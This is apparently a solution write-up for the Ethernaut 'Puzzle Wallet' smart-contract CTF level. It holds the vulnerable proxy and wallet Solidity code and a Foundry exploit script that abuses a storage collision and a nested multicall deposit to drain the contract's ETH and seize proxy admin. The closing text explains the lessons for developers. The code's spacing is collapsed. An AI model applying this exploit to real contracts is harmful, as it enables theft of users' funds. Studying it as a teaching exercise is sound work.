Nowadays, paying for DeFi operations is impossible, fact.
A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.
They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.
Little did they know, their lunch money was at risk…
You'll need to hijack this wallet to become the admin of the proxy.
Things that might help:
Understanding how delegatecall works and how msg.sender and msg.value behaves when performing one.
Knowing about proxy patterns and the way they handle storage variables.
Level Contract
// SPDX-License-Identifier: MITpragmasolidity ^0.8.0;pragmaexperimental ABIEncoderV2;import"../helpers/UpgradeableProxy-08.sol";contractPuzzleProxyisUpgradeableProxy {addresspublic pendingAdmin;addresspublic admin;constructor(address_admin,address_implementation,bytesmemory_initData)UpgradeableProxy(_implementation, _initData) { admin = _admin; }modifieronlyAdmin() {require(msg.sender == admin,"Caller is not the admin"); _; }functionproposeNewAdmin(address_newAdmin) external { pendingAdmin = _newAdmin; }functionapproveNewAdmin(address_expectedAdmin) externalonlyAdmin {require(pendingAdmin == _expectedAdmin,"Expected new admin by the current admin is not the pending admin"); admin = pendingAdmin; }functionupgradeTo(address_newImplementation) externalonlyAdmin {_upgradeTo(_newImplementation); }}contract PuzzleWallet {addresspublic owner;uint256public maxBalance;mapping(address=>bool) public whitelisted;mapping(address=>uint256) public balances;functioninit(uint256_maxBalance) public {require(maxBalance ==0,"Already initialized"); maxBalance = _maxBalance; owner = msg.sender; }modifieronlyWhitelisted() {require(whitelisted[msg.sender],"Not whitelisted"); _; }functionsetMaxBalance(uint256_maxBalance) externalonlyWhitelisted {require(address(this).balance ==0,"Contract balance is not 0"); maxBalance = _maxBalance; }functionaddToWhitelist(address addr) external {require(msg.sender == owner,"Not the owner"); whitelisted[addr] =true; }functiondeposit() externalpayableonlyWhitelisted {require(address(this).balance <= maxBalance,"Max balance reached"); balances[msg.sender] += msg.value; }functionexecute(address to,uint256 value,bytescalldata data) externalpayableonlyWhitelisted {require(balances[msg.sender] >= value,"Insufficient balance"); balances[msg.sender] -= value; (bool success,) = to.call{value: value}(data);require(success,"Execution failed"); }functionmulticall(bytes[] calldata data) externalpayableonlyWhitelisted {bool depositCalled =false;for (uint256 i =0; i < data.length; i++) {bytesmemory _data = data[i];bytes4 selector;assembly { selector :=mload(add(_data,32)) }if (selector ==this.deposit.selector) {require(!depositCalled,"Deposit can only be called once");// Protect against reusing msg.value depositCalled =true; } (bool success,) =address(this).delegatecall(data[i]);require(success,"Error while delegating call"); } }}
// SPDX-License-Identifier: MITpragmasolidity ^0.8.0;import {Script, console} from"forge-std/Script.sol";import {HelperFunctions} from"script/HelperFunctions.s.sol";// ================================================================// │ LEVEL 24 - PUZZLE WALLET │// ================================================================interface IPuzzleProxy {functionproposeNewAdmin(address_newAdmin) external;}interface IPuzzleWallet {functionaddToWhitelist(address addr) external;functionsetMaxBalance(uint256_maxBalance) external;functionmulticall(bytes[] calldata data) externalpayable;functiondeposit() externalpayable;functionexecute(address to,uint256 value,bytescalldata data) externalpayable;}contractExploitisScript, HelperFunctions {functionrun() public {address targetContractAddress =getInstanceAddress(); IPuzzleProxy puzzleProxy =IPuzzleProxy(targetContractAddress); IPuzzleWallet puzzleWallet =IPuzzleWallet(targetContractAddress); vm.startBroadcast();// Make msg.sender the owner of the PuzzleWallet// contract by calling proposeNewAdmin on the PuzzleProxy contract puzzleProxy.proposeNewAdmin(msg.sender);// Add msg.sender address to the whitelist puzzleWallet.addToWhitelist(msg.sender);// Build multicall payload// - Call deposit twice in two separate multicalls wrapped inside a single multicall//// multicall// |// -----------------// | |// multicall multicall// | |// deposit deposit// Add the deposit function to a bytes array for the multicall payloadbytes[] memory depositDataArray =newbytes[](1); depositDataArray[0] = abi.encodeWithSelector(puzzleWallet.deposit.selector);// Create a single multicall payload with two multicall payloads which each call the deposit functionbytes[] memory multicallPayload =newbytes[](2); multicallPayload[0] = abi.encodeWithSelector(puzzleWallet.multicall.selector, depositDataArray); multicallPayload[1] = abi.encodeWithSelector(puzzleWallet.multicall.selector, depositDataArray);uint256 balance =address(puzzleProxy).balance;// Call multicall to deposit twice with the same value puzzleWallet.multicall{value: balance}(multicallPayload);// Drain the contract by draining twice the balance that was deposited puzzleWallet.execute(msg.sender, balance *2, abi.encode(0x0));// Set max balance to msg.sender address to set PuzzleProxy admin to msg.sender puzzleWallet.setMaxBalance(uint256(uint160(address(msg.sender)))); vm.stopBroadcast(); }}
Submit instance... 🥳
Completion Message
Next time, those friends will request an audit before depositing any money on a contract. Congrats!
Frequently, using proxy contracts is highly recommended to bring upgradeability features and reduce the deployment's gas cost. However, developers must be careful not to introduce storage collisions, as seen in this level.
Furthermore, iterating over operations that consume ETH can lead to issues if it is not handled correctly. Even if ETH is spent, msg.value will remain the same, so the developer must manually keep track of the actual remaining amount on each iteration. This can also lead to issues when using a multi-call pattern, as performing multiple delegatecalls to a function that looks safe on its own could lead to unwanted transfers of ETH, as delegatecalls keep the original msg.value sent to the contract.